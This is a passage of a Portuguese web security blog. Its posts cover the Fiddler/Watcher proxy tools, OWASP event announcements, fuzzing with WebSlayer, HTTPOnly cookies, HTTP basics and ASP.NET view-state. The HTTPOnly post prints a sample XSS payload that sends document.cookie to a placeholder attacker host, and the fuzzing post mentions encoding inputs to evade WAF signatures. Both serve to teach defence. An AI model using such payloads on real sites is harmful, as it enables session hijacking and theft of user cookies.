| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Hoje ao analisar uma aplicação que só funcionava adequadamente no Internet Explorer, eu percebi o quanto sou dependente de alguns plugins do Firefox (HTTP Live Header, Tamper Data, Firebug, HTTPFox, entre outros). Eu realizo muitos testes manuais e eles são essenciais nestas análises, o Internet Explorer também possui alguns plugins, mas eu ainda não tive a oportunidade de testá-los.
Como eu precisava de uma opção rápida, optei pelo Fiddler. Já fazia um bom tempo que eu não o utilizava, a última vez foi para testar o Watcher, quando foi lançado há alguns meses atrás.
O fiddler, atualmente na versão v2.2.2.2.2 Beta (isso mesmo, eu não me enganei na quantidade de números 2), é um sniffer bem completo e que possui uma série de plugins que ajudam muito na depuração e identificação de falhas em aplicações web. Com uma interface bastante apurada você pode mapear claramente a aplicação e inclusive documentar requisições usando a opção Comment. Para utilizar o Fiddler basta iniciá-lo e configurar o seu Internet Explorer para usar o proxy no endereço IP 127.0.0.1 (Localhost) na porta 8888.
Bom, vamos ao que interessa, as extensões que o Fiddler possui. Uma bem interessante e que lembra muito o modo de teste do Ratproxy (análise passiva) do Google, é o Watcher. Esta extensão se acopla ao Fiddler e realiza uma série de testes de segurança da aplicação.
O modo de instalação do Watcher é bem simples, basta extrair os seguintes arquivos do pacote de instalação: Watcher.dll e WatcherCheckLib.dll no diretório scripts que se encontra no diretório: %userprofile%\My Documents\Fiddler2\Scripts no Windows XP e %userprofile%\Documents\Fiddler2\Scripts. Após a extração dos arquivos no diretório adequado é só reiniciar o Fiddler que irá aparecer uma aba chamada: Security Auditor.
Como utilizar o Watcher?
Na aba Security Auditor insira o domínio da aplicação que você deseja testar.
Após definir o domínio é só clicar em Save Config e navegar na aplicação usando o Internet Explorer configurado para navegar usando o Fiddler como proxy.
Após navegar por toda a aplicação que você deseja testar, clique na aba Results do Watcher e confira a análise realizada.
O que eu achei bem interessante no Watcher foi a possibilidade de incluir, alterar as mensagens que ele analisa durante o parser nas respostas a requisições na página. Um que vale a pena gastar um tempo e incluir palavras chaves é o teste que procura por palavras chaves em comentários no código.
Ah! Quem utiliza o Internet Explorer para testar aplicações e quer sugerir plugins, ferramentas, o comentário está ai pra isto.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Este ano a Conviso está novamente patrocinando o evento You Sh0t the Sheriff. Além do patrocínio, este ano na sua terceira edição, o evento irá também oferecer treinamentos nos dias 23 e 24 de Junho.
A conviso irá ministrar dois treinamentos:
O evento acontece no dia 22 de Junho e espero vocês lá.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
O OWASP solicita propostas de apresentações para a conferência internacional OWASP AppSec Brasil 2009, que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009. Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. Esta conferência será promovida e organizada pela Comunidade TI-Controle e pela Câmara dos Deputados.
Buscamos pessoas e organizações que queiram ministrar palestras sobre segurança de aplicações. Em particular destacamos os seguintes tópicos de interesse:
A lista de tópicos não é exaustiva; outros tópicos podem ser abordados, desde que em consonância com o tema central do evento.
As propostas devem conter:
Cada apresentação terá 45 minutos de duração, seguidos de 10 minutos para perguntas da platéia. Todas as apresentações deverão estar em conformidade com as regras definidas pelo OWASP em seu "Speaker Agreement".
Datas importantes:
As propostas devem ser enviadas para o e-mail: appsec.brasil@camara.gov.br
Para mais informações, favor consultar as seguintes páginas:
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Após a perseverança do Eduardo Neves, e o excelente trabalho do Lucas Ferreira, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.
A Conferência será promovida pelo OWASP Brasil com o suporte da Comunidade TI-Controle para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:
A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da OWASP.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta WebSlayer.
Usando o WebSlayer para fuzzing em aplicações Web
WebSlayer é uma ferramenta desenvolvida pelo grupo Edge-security, é apoiada pela OWASP e foi lançado no último Summit em Portugal. A ferramenta possibilita que seja realizado inúmeros testes em aplicações web, especialmente fuzzing.
Possui uma boa interface gráfica, aliada a uma boa base de conhecimento (wordlists). A ferramenta fornece apenas wordlists, não fornece pacotes, requisições HTTP que possam ser usadas no fuzzing, a ferramenta permite que você gere o payload da forma como achar melhor.
Vamos usar uma abordagem estruturada de fuzzing para explorar os recursos do WebSlayer
1 - Identificar o Alvo
Vamos iniciar definindo qual a URL será testada.
2 - Identificar o Input
Agora vamos identificar o input onde será injetados os dados da wordlist. Caso seja parâmetros GET, ele será informado na própria URL, se for POST será informado na caixa de texto abaixo, específica para parâmetros POST. o WebSlayer irá injetar as palavras/strings, onde você inserir a tag FUZZ. Por exemplo, http://sitealvo.com/teste.php?parametro1=FUZZ. O WebSlayer irá injetar as strings das wordlists no parâmetro onde eu informei a tag FUZZ.
3 - Gerar o payload (dado que será usado no fuzzing)
Neste passo iremos selecionar o tipo de wordlist que iremos injetar. Também é possível gerar requisições/payloads específicos, mas vamos trabalhar com as wordlists neste post. Além de escolher a wordlist, também podemos mandar injetar estas informações codificadas, buscando evadir assinaturas de WAF (Web Application Firewall) e controles na aplicação.
4 - Executar o Fuzzing
Definido quais os dados serão usados no fuzzing, clique em executar os testes.
5 - Monitorar as Exceções
Ao executar o fuzzing, será apresentado na seção Attack Results, todas as respostas que foram dadas pela aplicação a cada requisição que o fuzzing fez.
6 - Identificar possíveis pontos de exploração
Na seção Attacks Results você irá identificar qual os inputs são possíveis vetores de ataque, quais são os inputs vulneráveis. Esta identificação será feita de acordo com a resposta e a utilização de Regex (Expressões regulares).
Isso é uma utilização básica do WebSlayer, vários outros testes podem ser executados. Até o momento só a versão Windows está disponível, em breve as versões para Mac e Linux estarão disponíveis.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver no post sobre HTTP. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. Para fazer isso, utilizamos o recurso de sessão/cookie. Este recurso é a "memória" da aplicação web, ela irá consultar a sessão para lembrar de informações que são necessárias entre as requisições HTTP.
O que acontece se eu não tomar cuidado com a sessão?
Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na página sobre gestão de sessão da OWASP.
Como mitigar (diminuir) os riscos associados a cookies de sessão?
Além de implementar adequadamente a gestão de sessão, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag httponly nos cookies.
Exemplo de cookie com a flag HTTPOnly
Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly
Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão?
A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.
Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.
<script><br />document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie<br /></script><br />
Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?
Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: javascript:alert(document.cookie); Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.
Como implementar HTTPOnly?
Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, como é o caso do Rails. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:
Alguns browsers também pode forçar o uso do HTTPOnly.
Existe algum tipo de "bypass" de HTTPOnly?
Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, usando requisições XHR (XMLHttpRequest).
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.
Os últimos meses foram alucinantes, muito trabalho, um treinamento na uCon, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio ficou suspenso por um dia. 
Agora estou de volta, vou começar a agitar isso aqui novamente e espero que os leitores apreciem.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Agora em Fevereiro saiu o quadrante mágico do Gartner classificando os players de source-review. A fortify se destaca no quadro! Vale ressaltar que apenas Fortify e Ounce Labs tem ferramentas que nasceram para revisão de segurança de código, todos os outros players tem soluções que evoluiram, foram adaptadas, para revisão de segurança.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Como diz meu amigo Sp0oker: "como falar de payload para pessoas que não sabem o que é um Three Way Handshake?" Pensando nisso eu resolvi divulgar esta parte sobre http do material do treinamento de web hacking techniques. O conteúdo é o básico para conhecer como funciona o protocolo HTTP, essencial para análise de segurança em aplicações WEB.
O que é o protocolo HTTP
O HTTP (Hypertext Transfer Protocol) é um protocolo que atua na camada de aplicação de acordo com o modelo OSI e estabelece um conjunto de regras, padrão para troca de mensagens entre recursos na WEB.
O HTTP possui as seguintes versões:
Não é o propósito deste tutorial explicar os detalhes de cada versão, mais detalhes podem ser obtidos na RFC 2145 (Use and Interpretation of HTTP Version Numbers).
Como trabalha o protocolo HTTP
O protocolo HTTP tem uma característica que é de fundamental entendimento para quem analisa segurança em aplicações WEB, é o fato dele ser stateless, isso significa que ele não mantém uma conexão, ele sempre conecta, envia uma mensagem, recebe uma resposta e desconecta, como ilustra a figura 1.
Por este motivo é utilizado recursos extras como cookie e/ou sessões para garantir a persistência dos dados e informações que são disponibilizados em aplicações.
A figura 2 mostra a visão do protocolo HTTP e seus dados frente a camada TCP/IP, na figura 3 podemos identificar como funciona a comunicação em uma rede de dados e na figura 4 um exemplo de um header (cabeçalho) HTTP.
Figura 4
Quando estamos falando de aplicações WEB geralmente estamos sempre fazendo referência a URL(Uniform Resource Locators) como http://wagnerelias.com, técnicamente a URL serve apenas para fazer referência a um determinado domínio, quando precisamos acessar recursos WEB via browser utilizamos a URI (Uniform Resource Identifiers). Para conseguir identificar e explorar determinados recursos de uma aplicação é essencial que se entenda exatamente o que cada parte de uma URI representa, na figura 5 temos uma descrição de cada parte de uma URI.
Figura 5
Já sabemos o que é um protocolo HTTP, quais as suas principais características, mas é preciso entender quais são seus principais métodos e códigos de status, na figura 6 temos um representação de uma requisição do browser e uma resposta do servidor.
Métodos HTTP
Os métodos, também conhecidos como verbos HTTP, são os seguintes:
Os métodos são informados no momento que é feito uma requisição HTTP ao servidor de aplicação.
Código de Status do HTTP
Os códigos de status estão classificados em cinco tipos.
Uma lista completa de códigos de status pode ser obtida aqui. Sempre que uma requisição usando um método HTTP é feita ao server é recebido uma resposta com um status code.
O HTTP também possui recursos de autenticação nativos que pretendo falar mais sobre eles em um post futuro, os dois modelos são:
Eu costumo usar muito os recursos do firefox para analisar as requisições e respostas HTTP, os principais addon são estes:
Além dos addon do firefox eu estou usando uma ferramenta desenvolvida pelo tiger team 514 que faz várias requisições usando métodos diferentes e dando o status code de cada uma.
| Deixe um comentário e acompanhe a discussão assinando a feed deste ou de todos os posts e comentários. |
Há muito tempo atrás eu fui questionado por um cliente ao mencionar que o view-state de uma aplicação dele estava expondo informações sensíveis. A justificativa dele é que isso era um comportamento padrão do ASP.NET. Ele tinha razão, o ASP.NET depende muito do view-state e cria um campo HIDDEN onde dados são armazenados na sessão.
Na situação eu recomendei que pelo menos ele utilizasse recursos para criptografar os dados mantidos na View-State.
Um problema do View-State é o mal uso dele, muitos desenvolvedores sem saber dos riscos acabam armazenando muitos dados na sessão usando o recurso. Com isso, além de causar problemas de performance, ele pode expor dados confidenciais, pois os dados podem ser visualizados usando ferramentas que decodifiquem o view-state.
A boa notícia é que segundo um post no InfoQ, o ASP.NET vai depender menos do view-state e se estuda a possibilidade dele vir desabilitado por default. De qualquer maneira, cuidado com o view-state em aplicações desenvolvidas em ASP.NET.
Comments(3)
